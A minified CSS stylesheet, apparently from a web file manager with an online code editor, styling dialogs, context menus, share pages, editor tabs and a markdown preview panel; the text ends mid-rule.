.resize-handle{position:absolute;z-index:9999;display:block;}.dialog-can-resize .resize-top{z-index:0;cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{z-index:0;cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{z-index:0;cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{z-index:0;cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui_min,.dialog-can-resize .aui_max{display:block;}body div.dialog-simple .aui_titleBar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui_border{border:none;}body div.dialog-simple .aui_outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui_inner{border:none;background:none;}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_n,body div.dialog-simple .aui_ne,body div.dialog-simple .aui_w,body div.dialog-simple .aui_e,body div.dialog-simple .aui_sw,body div.dialog-simple .aui_s,body div.dialog-simple .aui_se{background:none;}body div.dialog-simple .aui_title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui_min,body div.dialog-simple .aui_max,body div.dialog-simple .aui_close{border:none;top:6px;display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui_min:hover,body div.dialog-simple .aui_max:hover,body div.dialog-simple .aui_close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui_min:active,body div.dialog-simple .aui_max:active,body div.dialog-simple .aui_close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui_main{background:none !important;}body div.dialog-simple .aui_max{right:30px;}body div.dialog-simple .aui_min{right:56px;}body div.dialog-simple .aui_dialog,body div.dialog-simple .aui_border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui_header{opacity:0.01;filter:alpha(opacity=1);}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_ne{height:0px;}body div.dialog-simple .dialog_mouse_in .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui_state_drag .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialogMax .aui_header{opacity:1.0;filter:alpha(opacity=100);}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 20px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:25px;font-size:1.2em;color:#aaa;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line_top{border-top:1px solid #ddd !important;}.frame-main{top:40px;overflow:auto;bottom:40px;width:100%;position:absolute;}.bindary_box{width:300px;margin:0 auto;padding-bottom:40px;border:1px solid #ddd;border:1px solid rgba(0,0,0,0.2);background:#fff;box-shadow:0 1px 5px rgba(0,0,0,0.4);margin-top:5%;border-radius:4px;}.bindary_box .title{width:100%;height:150px;padding-top:20px;border-radius:5px 4px 0 0;background:#6699cc url("../../../images/common/login.png") -110px 0px;}.bindary_box .ico{width:140px;height:140px;border-radius:100px;overflow:hidden;margin:0 auto;background:rgba(255,255,255,0.4);text-align:center;}.bindary_box .ico img{width:80%;padding-top:15px;}.content_info{text-align:center;}.content_info .name{padding:30px;padding-bottom:2px;font-size:22px;word-wrap:break-word;word-break:break-all;}.content_info .size{color:#888;}.content_info .size i{font-style:normal;color:#aaa;padding-left:10px;}.content_info .btn-group{margin-top:25px;}.content_info .btn_download{width:115px;}.content_info .dropdown-toggle{height:20px;}.content_info .error_tips{padding-top:15px;color:#bbb;}.title_box{height:36px;width:800px;border-bottom:1px solid #ddd;margin:0 auto;margin-top:10px;}.title_box .name{font-size:20px;float:left;}.title_box .size{float:left;line-height:30px;padding-left:10px;}.title_box .size .share_time{padding-left:10px;font-style:normal;color:#aaa;}.title_box .btn-group{float:right;}.title_box .btn-group .btn_download{padding:4px 20px;}.title_box .btn-group .dropdown-toggle{height:16px;height:30px \9;}.content_box,.content_box.markdown_preview{width:900px;margin:30px auto;margin-bottom:30px;}.show_image{text-align:center;}.show_image img{max-width:100%;}#show_pdf{width:100%;margin:0px;background:#ccc;position:absolute;top:0px;bottom:0px;}.show_code{border:1px solid #ddd;box-shadow:0 2px 5px rgba(0,0,0,0.2);width:80%;position:absolute;bottom:0px;left:10%;top:0px;}.show_code .code{padding:0px;margin:0;height:100%;}.show_code .ace_editor{font-size:1em;font-family:Consolas, source-code-pro, Monaco, Menlo, 'Ubuntu Mono', Consolas, monospace, '';}.office_page{bottom:-18px;}.show_office{margin:0;width:100%;height:100%;}.show_swf{width:80%;margin:0 auto;padding-top:30px;height:90%;}.music_player{width:320px;height:400px;box-shadow:0 10px 100px #444;margin-top:12%;}.movie_player{width:660px;height:400px;box-shadow:0 10px 100px #444;margin-top:10%;}html,body{overflow:hidden;overflow-x:hidden;overflow-y:hidden;}.edit_main{color:#444;font-size:1em;width:100%;}.edit_main .edit_tab .tabs .edit_changed a.close{opacity:1.0;filter:alpha(opacity=100);color:#63acff;}.edit_main .edit_tab .tabs .edit_changed .icon-remove:before{content:"\f06a";}.edit_main .edit_tab .tabs .edit_changed a:hover.icon-remove:before{content:"\f057";}.context-menu-list{z-index:1000 !important;box-shadow:0 0px 10px rgba(0,0,0,0.15);border:1px solid #dfdfdf;border-radius:2px;max-height:500px;-webkit-animation-name:inherit;-webkit-animation-duration:inherit;-webkit-animation-timing-function:inherit;-webkit-animation-iteration-count:inherit;}.context-menu-list.code_font_list,.context-menu-list.code_theme_list{overflow-y:auto;overflow-x:hidden;}.context-menu-list.code_font_list .context-menu-item,.context-menu-list.code_theme_list .context-menu-item{padding:0px 10px 0 10px;}.context-menu-list.code_theme_list{width:180px !important;}.context-menu-list .gotoline_input input{padding:4px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;margin-left:15px;}.context-menu-list .gotoline_input input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.code_mode_list{position:absolute;z-index:99;top:initial;right:300px;bottom:30px;overflow:auto;display:block;width:180px;height:250px;padding:35px 0 10px 0;}.code_mode_list li{padding:2px 2em;font-size:13px;cursor:pointer;line-height:20px;}.code_mode_list li.list_input{position:fixed;background:#eee;-webkit-transform:translateZ(0);height:30px;width:160px;bottom:292px;padding:4px 0 0 20px;}.code_mode_list li.list_input input{width:110px;padding:4px 10px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.code_mode_list li.list_input input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.code_mode_list li.hover{background:#eee;background:#63acff;color:#fff;}.code_mode_list li.selected,.code_mode_list li.selected.hover{background:#63acff;color:#fff;}.edit_tab .tabs{height:29px;width:100%;background:#fff;overflow:hidden;border-bottom:1px solid #ddd;}.edit_tab .tabs .tab{position:relative;height:30px;line-height:30px;color:#666;width:120px;float:left;background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;border-right:1px solid #ddd;}.edit_tab .tabs .tab .name{margin-left:5px;display:block;width:80%;text-align:center;overflow:hidden;white-space:nowrap;position:absolute;z-index:2;cursor:default;height:28px;}.edit_tab .tabs .tab .name img{height:17px;padding-bottom:4px;padding-right:3px;}.edit_tab .tabs .tab .close{float:right;color:#aaa;position:relative;opacity:0.1;filter:alpha(opacity=10);font-size:1.25em;margin-right:3px;z-index:3;margin-top:6px;-webkit-transition:opacity 0.1s;-moz-transition:opacity 0.1s;-o-transition:opacity 0.1s;-ms-transition:opacity 0.1s;transition:opacity 0.1s;width:18px;height:18px;text-align:center;line-height:18px;}.edit_tab .tabs .tab .close:hover{opacity:0.9;filter:alpha(opacity=90);}.edit_tab .tabs .tab .close:active{opacity:1.0;filter:alpha(opacity=100);}.edit_tab .tabs .tab.hover{background:url("../../../images/common/buttons_40.png") 0 10px repeat-x;}.edit_tab .tabs .tab.hover .close{opacity:0.6;filter:alpha(opacity=60);}.edit_tab .tabs .tab.this{z-index:20;color:#23B2EC;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#96c7ff', endColorstr='#63acff');background:#63acff;background-image:-webkit-linear-gradient(top,#96c7ff,#63acff);background-image:-moz-linear-gradient(top,#96c7ff,#63acff);background-image:-o-linear-gradient(top,#96c7ff,#63acff);background-image:-ms-linear-gradient(top,#96c7ff,#63acff);background-image:linear-gradient(top,#96c7ff,#63acff);-pie-background:linear-gradient(to top,#96c7ff,#63acff);color:#fff;}.edit_tab .tabs .tab.this .close{opacity:0.1;filter:alpha(opacity=10);color:#eee;}.edit_tab .tabs .tab.this .close:hover{opacity:0.9;filter:alpha(opacity=90);}.edit_tab .tabs .tab.this .close:active{opacity:1.0;filter:alpha(opacity=100);color:#fff;}.edit_tab .tabs .tab.this.hover .close{opacity:0.6;filter:alpha(opacity=60);}.edit_tab .tabs .tab.loading .close{opacity:1.0;filter:alpha(opacity=100);color:#666;border-radius:20px;-webkit-animation:moveCircleLoop 1.4s infinite linear;animation:moveCircleLoop 1.4s infinite linear;}.edit_tab .tabs .tab.loading .close:before{content:"\f110";}.edit_tab .tabs .tab.loading.this .close{color:#ffffff;}.edit_tab .tabs .tab.loading.hover .close{opacity:1.0;filter:alpha(opacity=100);}.edit_tab .tabs .add{float:left;color:#666;line-height:25px;height:30px;border:1px solid #ddd;border-bottom:none;border-radius:3px 3px 0 0;font-size:8px;margin-top:2px;padding:0px 10px;background:#eee;margin-left:3px;}.edit_tab .tabs .add:hover{background:#ddd;}.edit_tab .tabs .add:active{background:#888;color:#ccc;}.draggable-dragging{position:absolute;z-index:99999;color:#fff;height:30px;line-height:30px;opacity:0.6;filter:alpha(opacity=60);width:120px;float:left;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#82bcff', endColorstr='#63acff');background:#63acff;background-image:-webkit-linear-gradient(top,#82bcff,#63acff);background-image:-moz-linear-gradient(top,#82bcff,#63acff);background-image:-o-linear-gradient(top,#82bcff,#63acff);background-image:-ms-linear-gradient(top,#82bcff,#63acff);background-image:linear-gradient(top,#82bcff,#63acff);-pie-background:linear-gradient(to top,#82bcff,#63acff);}.draggable-dragging .name{margin-left:5px;display:block;width:80%;text-align:center;overflow:hidden;white-space:nowrap;position:absolute;z-index:2;cursor:default;height:28px;}.draggable-dragging .name img{height:17px;padding-bottom:4px;padding-right:3px;}.draggable-dragging .close{float:right;color:#3091ff;position:relative;font-size:1.15em;margin-right:5px;z-index:3;margin-top:6px;-webkit-transition:opacity 0.1s;-moz-transition:opacity 0.1s;-o-transition:opacity 0.1s;-ms-transition:opacity 0.1s;transition:opacity 0.1s;width:18px;height:18px;text-align:center;line-height:17px;}.edit_body{width:100%;background:#fff;position:absolute;bottom:0;top:59px;z-index:50;}.edit_body .tabs{width:100%;height:100%;position:absolute;top:0px;bottom:0;}.edit_body .tabs .edit_content{display:none;padding:0;margin:0;height:100%;width:100%;}.edit_body .tabs .edit_content.this{display:block;padding:0;}.edit_body .tabs .tab{padding:10px;display:none;}.edit_body .bottom_toolbar{width:auto;height:25px;z-index:25;position:absolute;bottom:5px;right:0;margin-right:20px;border-radius:4px;background:#fff;opacity:0.8;filter:alpha(opacity=80);border:1px solid #f3f3f3;}.edit_body .bottom_toolbar a{float:left;padding:0 10px;line-height:25px;text-decoration:none;color:#000;}.edit_body .bottom_toolbar a:hover{color:#63acff;}.edit_body .bottom_toolbar a.select{background:#63acff;color:#fff;border-radius:1px;}.edit_body .bottom_toolbar a .font-icon{color:#333;}.introduction{font-size:1em;position:fixed;width:100%;top:64px;left:0;bottom:0;overflow:auto;background:#FFF;}.introduction .intro_left{width:40%;float:left;}.introduction .tips{padding:5px;margin-bottom:0;color:#888;}.introduction .tips p{padding-left:2em;word-break:break-all;line-height:1.2em;}.introduction .tips p:before{content:"\f006";font-family:FontAwesome;padding-right:8px;}.introduction .tips h1{font-size:25px;font-weight:400;border-bottom:1px dashed #ddd;padding:4px 0 10px 5px;margin:5px 0 10px 10px;}.introduction .tips h1 span{border-bottom:3px solid #ddd;padding:8px;color:#666;}.introduction pre{margin-left:15px;padding:5px;color:#56A238;line-height:1.5em;background:#fff;border-bottom:1px solid #eee;}.introduction .intro_right{width:60%;float:left;}.introduction .blue{color:#8BB7D5;}.introduction .blue h1 span{border-color:#8BB7D5;color:#8BB7D5;}.introduction .orange{color:#F27642;}.introduction .orange h1 span{color:#F27642;border-color:#F27642;}.introduction .green{color:#56A238;border-left:1px solid #ddd;}.introduction .green h1 span{color:#56A238;border-color:#56A238;}div.tools{height:28px;z-index:999;border-bottom:1px solid #ddd;overflow:hidden;background:#f8f8f8 url("../../../images/common/bg.gif") 0 0px;min-width:560px;-webkit-box-shadow:1px 2px 15px #eee;-moz-box-shadow:1px 2px 15px #eee;box-shadow:1px 2px 15px #eee;}div.tools .disable_mask{width:100%;height:33px;margin-left:-10px;background:#fff;position:absolute;opacity:0.4;filter:alpha(opacity=40);z-index:10;margin-top:-4px;}div.tools .left{float:left;margin:0 0 0 5px;}div.tools .right{float:right;margin:0 5px 0 0;}div.tools a{font-size:1.25em;font-weight:800;float:left;color:#555;font-weight:400;text-decoration:none;padding:0px 9px;line-height:29px;height:29px;}div.tools a .font-icon{font-size:14px;color:#888;}div.tools a .icon-caret-down{padding-left:5px;font-size:1em;color:ccc;}div.tools a:hover{background:#eee;}div.tools a.select,div.tools a.select:hover,div.tools a:active{background:#63acff;color:#fff;}div.tools a.select i.font-icon,div.tools a.select:hover i.font-icon,div.tools a:active i.font-icon{color:#fff;}div.tools .right .btn{padding:1px 7px;margin-right:-1px;height:20px;background:#eee;margin-top:2px;float:right;line-height:20px;}div.tools .line{border-left:1px solid #ccc;margin:5px 4px;float:left;height:16px;}ul.dropbox{color:#666;font-size:1em;position:absolute;top:27px;z-index:1000;margin:0px;}ul.dropbox li{list-style:none;padding:2px 0 2px 10px;line-height:20px;cursor:pointer;}ul.dropbox .lihover,ul.dropbox li.this{background:#63acff;color:#fff;}#fontsize{display:none;left:166px;width:100px;min-width:100px;}#codetheme{display:none;left:173px;}body div#ace_settingsmenu,body div#kbshortcutmenu{background-color:#000;opacity:0.75;filter:alpha(opacity=75);color:#FFF;box-shadow:-5px 4px 5px rgba(0,0,0,0.2);-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}.edit_content .resize{position:absolute;background:#000;cursor:col-resize;margin-left:-5px;background-color:#f6f6f6;background-color:rgba(0,0,0,0.01);background:url("../../../images/common/resize.png") 0px 50% no-repeat;height:100%;width:10px;left:100%;z-index:100;}.edit_content .resize:hover{background-color:#eee;background-color:rgba(0,0,0,0.1);}.edit_content .resize.resize_active{background-color:#ddd;background-color:rgba(0,0,0,0.2);}.edit_content.markdown_full .ace_editor{width:100% !important;}.edit_content.markdown_full .resize{display:none;}.edit_content.markdown_full .edit_right_frame{width:0 !important;}.edit_right_frame{position:fixed;top:59px;right:0px;width:40%;bottom:0;background:#fff;border-left:1px solid #ddd;z-index:99;overflow:visible;}.edit_right_frame .mask_view{z-index:9999;opacity:0.05;filter:alpha(opacity=5);}.edit_right_frame .right_main{position:absolute;width:100%;height:100%;overflow:auto;}.edit_right_frame .preview_frame{position:absolute;top:0px;right:0;bottom:0;width:100%;background:#fff;}.edit_right_frame .preview_markdown_tool,.edit_right_frame .function_list_tool,.edit_right_frame .preview_url_tool{width:100%;height:25px;border-bottom:1px solid #ddd;}.edit_right_frame .preview_markdown_tool .box,.edit_right_frame .function_list_tool .box,.edit_right_frame .preview_url_tool .box{width:105px;height:25px;position:absolute;top:0px;right:0px;background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.edit_right_frame .preview_markdown_tool .box a,.edit_right_frame .function_list_tool .box a,.edit_right_frame .preview_url_tool .box a{font-weight:800;text-decoration:none;border:1px solid rgba(200,200,200,0.01);display:inline-block;margin-top:1px;margin-left:2px;font-size:1.25em;position:relative;padding:0px 5px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.edit_right_frame .preview_markdown_tool .box a .font-icon,.edit_right_frame .function_list_tool .box a .font-icon,.edit_right_frame .preview_url_tool .box a .font-icon{color:#999;}.edit_right_frame .preview_markdown_tool .box a:hover,.edit_right_frame .function_list_tool .box a:hover,.edit_right_frame .preview_url_tool .box a:hover{border:1px solid #ccc;box-shadow:0 0 20px rgba(0,0,0,0.2) inset;}.edit_right_frame .preview_url_frame .preview_frame_content{position:absolute;right:0px;left:0px;bottom:0px;overflow:auto;top:25px;background:#fff;}.edit_right_frame .preview_url_frame .input_content{position:absolute;height:27px;right:100px;left:0px;}.edit_right_frame .preview_url_frame .input_content input{height:23px;border:none;border-right:1px solid #ddd;width:100%;padding-right:10px;text-shadow:1px 1px 3px #CCE;outline:none;color:#888;font-size:1.15em;box-shadow:#ddd 0px 0px 30px inset;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;}.edit_right_frame .preview_url_frame .input_content input:focus{box-shadow:#bbb 0px 0px 30px inset;}.edit_right_frame .preview_url_frame .box{border-left:1px solid #eee;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool{border:none;height:inherit;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box{position:fixed;bottom:0.1px;-webkit-transform:translateZ(0);z-index:999;top:70px;right:25px;background:rgba(200,200,200,0.2);opacity:0.6;filter:alpha(opacity=60);width:35px;height:140px;border:none;border-radius:0;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box .content{position:absolute;width:35px;top:0;left:0;height:100%;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box:hover{opacity:0.9;filter:alpha(opacity=90);}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box a{margin:0;padding:0;display:block;text-align:center;height:35px;border:none;line-height:35px;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box a .font-icon{color:#444;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box a:hover{border:none;background:#bbb;color:#000;box-shadow:none;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .box a:hover .font-icon{color:#222;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar{position:fixed;bottom:0.1px;z-index:999;-webkit-transform:translateZ(0);height:29px;margin-top:5px;background:#f8f8f8 url("../../../images/common/bg.gif") 0 0px;left:420px;width:360px;top:-6px;border-left:1px solid #ddd;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar .content{position:absolute;top:0;left:0;height:100%;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar .md-tools{width:26px;height:100%;display:inline-block;text-decoration:none;text-align:center;margin:0;line-height:30px;float:left;padding:0;color:#666;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar .md-tools:hover{background:#ccc;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar .md-tools.md-tools-split{width:10px;color:#ccc;}.edit_right_frame .preview_markdown_frame .preview_markdown_tool .toolbar .md-tools.md-tools-split:hover{background:none;}.edit_right_frame .preview_markdown_frame .markdown_preview{padding:10px 35px 100px 35px;}.edit_right_frame .preview_markdown_frame .markdown_help{width:650px;background:#fff;height:80%;box-shadow:0 5px 15px rgba(0,0,0,0.1);border-radius:4px;border-top-right-radius:0;position:fixed;top:70px;right:60px;border:1px solid #ccc;overflow:hidden;bottom:0.1px;z-index:9999;-webkit-transform:translateZ(0);}.edit_right_frame .preview_markdown_frame .markdown_help h3{padding:20px 10px 15px 20px;margin:0;border-bottom:1px solid #eee;font-size:20px;}.edit_right_frame .preview_markdown_frame .markdown_help .content{height:100%;overflow:auto;margin:10px;padding-bottom:20px;margin-right:0;}.edit_right_frame .preview_markdown_frame .markdown_help p{margin:0;}.edit_right_frame .preview_markdown_frame .markdown_help h5{font-weight:800;}.edit_right_frame .preview_markdown_frame .markdown_help pre{border-radius:4px;background:#eee;color:#777;font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;font-size:12px;}.edit_right_frame .preview_markdown_frame .markdown_help .col-md-4{width:35%;padding-bottom:70px;}.edit_right_frame .preview_markdown_frame .markdown_menu_box{width:300px;background:#fff;height:60%;box-shadow:0 5px 15px rgba(0,0,0,0.1);border-radius:4px;border-top-right-radius:0;position:fixed;top:70px;right:60px;border:1px solid #ccc;overflow:hidden;bottom:0.1px;z-index:9999;-webkit-transform:translateZ(0);}.edit_right_frame .preview_markdown_frame .markdown_menu_box h3{padding:20px 10px 15px 20px;margin:0;border-bottom:1px solid #eee;font-size:22px;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .content{height:100%;overflow:auto;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu ul{padding:10px 10px 80px 10px;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu li{font-size:1em;list-style:none;text-overflow:ellipsis;white-space:nowrap;line-height:1.0em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu li a{display:block;text-decoration:none;padding:5px 6px;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu li a:hover{background:#def;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu_h2{margin-left:2em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu_h3{margin-left:3.5em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu_h4{margin-left:5em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu_h5{margin-left:6.5em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .markdown_menu_h6{margin-left:8em;}.edit_right_frame .preview_markdown_frame .markdown_menu_box .tools_markdown_more{position:absolute;top:20px;right:10px;}.edit_right_frame .preview_markdown_frame .markdown_setting{width:160px;height:auto;background:#fff;border:1px solid #ddd;z-index:10;box-shadow:0 5px 15px rgba(0,0,0,0.1);border-radius:4px;border-top-right-radius:0;position:fixed;top:175px;right:60px;-webkit-transform:translateZ(0);}.edit_right_frame .preview_markdown_frame .markdown_setting ul{padding:0;margin:10px 0;}.edit_right_frame .preview_markdown_frame .markdown_setting ul li{width:100%;height:25px;list-style:none;overflow:hidden;}.edit_right_frame .preview_markdown_frame .markdown_setting ul li.line{height:1px;background:#ddd;margin:5px 0;}.edit_right_frame .preview_markdown_frame .markdown_setting ul a,.edit_right_frame .preview_markdown_frame .markdown_setting ul a:visited{display:block;line-height:25px;text-decoration:none;padding:0 0 0 20px;color:#444;overflow:hidden;}.edit_right_frame .preview_markdown_frame .markdown_setting ul a i{padding-right:5px;color:#888;}.edit_right_frame .preview_markdown_frame .markdown_setting ul a:hover{background:#63acff;color:#fff;}.edit_right_frame .preview_markdown_frame .markdown_setting ul a:hover i{color:#fff;}.edit_right_frame .function_list .function_list_tool{height:100px;width:100%;}.edit_right_frame .function_search{position:absolute;top:29px;left:0;height:25px;right:5px;}.edit_right_frame .function_search input{padding:4px 2%;color:#222;margin:0 3%;width:90%;border-radius:3px;}.edit_right_frame .function_search .search_reset{position:absolute;top:5px;right:5%;font-size:1.25em;color:#aaa;display:block;cursor:pointer;}.edit_right_frame .function_search .search_reset:hover{color:#888;}.edit_right_frame .frame_right .function_list_parent{top:57px;}.edit_right_frame .function_list_box .cell b{color:#378eef;}.edit_right_frame .function_list_box .row_select .cell b{color:#ff9;}.edit_right_frame .function_list_tool{border:none;}.edit_right_frame .function_list_tool .box{width:100%;right:0px;overflow:hidden;background:#fff;}.edit_right_frame .function_list_tool .box span{display:block;padding:1px 10px;float:left;line-height:27px;}.edit_right_frame .function_list_tool .box a{display:block;float:right;margin-right:5px;}.edit_right_frame .function_list_parent{position:absolute;top:55px;right:0;bottom:15px;width:100%;background:#fff;}.edit_right_frame .function_list_box{padding:5px;-webkit-text-size-adjust:none;overflow:auto;margin-right:2px;height:100%;}.edit_right_frame .function_list_box .row_hover{background:#ddd;border-radius:3px;}.edit_right_frame .function_list_box .row_select{background:#63acff;color:#fff;border-radius:3px;}.edit_right_frame .function_list_box .cell_null{padding:10px 5px;color:#999;text-align:center;}.edit_right_frame .function_list_box .list_row{padding:2px 5px;cursor:default;font-family:Tahoma, Arial;-webkit-transition:all 0.1s;-moz-transition:all 0.1s;-o-transition:all 0.1s;-ms-transition:all 0.1s;transition:all 0.1s;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.edit_right_frame .function_list_box .list_row.row_hover{background:#ddd;border-radius:3px;}.edit_right_frame .function_list_box .list_row.row_select{background:#63acff;color:#fff;border-radius:3px;}.edit_right_frame .function_list_box .list_row .icon{font-family:FontAwesome;font-style:normal;width:20px;display:inline-block;text-decoration:inherit;font-size:10px;-webkit-transform:scale(0.8,0.8);transform:scale(0.8,0.8);}.edit_right_frame .function_list_box .list_row span{cursor:default;}.edit_right_frame .function_list_box .list_row.mark .icon{color:#666;}.edit_right_frame .function_list_box .list_row.mark .icon:before{content:"\f005";}.edit_right_frame .function_list_box .list_row.mark,.edit_right_frame .function_list_box .list_row.class{background:#eee;font-weight:800;border-radius:3px;}.edit_right_frame .function_list_box .list_row.mark.row_select,.edit_right_frame .function_list_box .list_row.class.row_select{color:#fff;background:#63acff;}.edit_right_frame .function_list_box .list_row.row_select .icon{color:#fff !important;}.edit_right_frame .function_list_box .list_row.class .icon{color:#888;}.edit_right_frame .function_list_box .list_row.class .icon:before{content:"\f0c9";}.edit_right_frame .function_list_box .list_row.function .icon{color:#378eef;}.edit_right_frame .function_list_box .list_row.function .icon:before{content:"\f111";}.edit_right_frame .function_list_box .list_row.function_define .icon{color:#98c878;}.edit_right_frame .function_list_box .list_row.function_value .icon{color:#ffb16d;}.edit_right_frame .function_list_box .list_row.function_var .icon{color:#008641;}.share_page_passowrd{margin:0 